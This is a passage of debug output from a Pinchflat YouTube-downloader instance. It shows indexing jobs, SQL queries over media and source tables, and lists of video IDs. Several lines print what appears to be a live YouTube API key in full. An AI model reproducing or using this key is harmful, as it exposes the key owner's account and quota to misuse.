"S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 15:47:33.590 [debug] QUERY OK source="media_items" db=0.2ms idle=83.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 15:47:33.591 [debug] QUERY OK source="tasks" db=0.1ms idle=83.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799830, 23, ~U[2026-02-10 21:47:33Z], ~U[2026-02-10 21:47:33Z]] 15:47:33.591 [info] {"args":{"id":23},"id":3799790,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":84761,"event":"job:stop","queue_time":538610,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:35.507 [info] {"args":{"id":10},"id":3799791,"meta":{},"system_time":1770760055507793521,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:35.508 [info] {"args":{"id":34},"id":3799792,"meta":{},"system_time":1770760055507822053,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:35.508 [debug] QUERY OK source="sources" db=0.2ms idle=629.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 15:47:35.508 [debug] QUERY OK source="sources" db=0.2ms idle=629.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 15:47:35.508 [debug] QUERY OK source="settings" db=0.1ms idle=629.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:35.508 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:35.508 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:35.508 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:35.508 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:35.508 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 15:47:35.508 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:35.508 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 15:47:35.508 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:35.508 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:35.509 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:35.509 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:35.597 [debug] QUERY OK source="media_items" db=0.6ms idle=87.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 15:47:35.600 [debug] QUERY OK source="media_items" db=2.4ms idle=88.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 15:47:35.601 [debug] QUERY OK source="tasks" db=0.1ms idle=91.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799831, 10, ~U[2026-02-10 21:47:35Z], ~U[2026-02-10 21:47:35Z]] 15:47:35.601 [info] {"args":{"id":10},"id":3799791,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":93295,"event":"job:stop","queue_time":499081,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:35.685 [debug] QUERY OK source="media_items" db=0.7ms idle=83.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 15:47:35.686 [debug] QUERY OK source="media_items" db=0.9ms idle=85.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 15:47:35.687 [debug] QUERY OK source="tasks" db=0.0ms idle=79.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799832, 34, ~U[2026-02-10 21:47:35Z], ~U[2026-02-10 21:47:35Z]] 15:47:35.687 [info] {"args":{"id":34},"id":3799792,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":179842,"event":"job:stop","queue_time":410384,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:36.509 [info] {"args":{"id":8},"id":3799793,"meta":{},"system_time":1770760056509913296,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:36.510 [info] {"args":{"id":9},"id":3799794,"meta":{},"system_time":1770760056509956876,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:36.510 [debug] QUERY OK source="sources" db=0.2ms idle=822.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 15:47:36.510 [debug] QUERY OK source="sources" db=0.3ms idle=822.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 15:47:36.510 [debug] QUERY OK source="settings" db=0.1ms idle=816.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:36.510 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:36.511 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:36.511 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:36.511 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:36.511 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 15:47:36.511 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:36.511 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 15:47:36.511 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:36.511 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:36.511 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:36.511 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:36.620 [debug] QUERY OK source="media_items" db=0.6ms idle=109.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 15:47:36.622 [debug] QUERY OK source="media_items" db=0.6ms idle=110.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 15:47:36.622 [debug] QUERY OK source="tasks" db=0.1ms idle=111.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799833, 9, ~U[2026-02-10 21:47:36Z], ~U[2026-02-10 21:47:36Z]] 15:47:36.623 [info] {"args":{"id":9},"id":3799794,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":112909,"event":"job:stop","queue_time":347371,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:36.759 [debug] QUERY OK source="media_items" db=0.6ms idle=136.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", 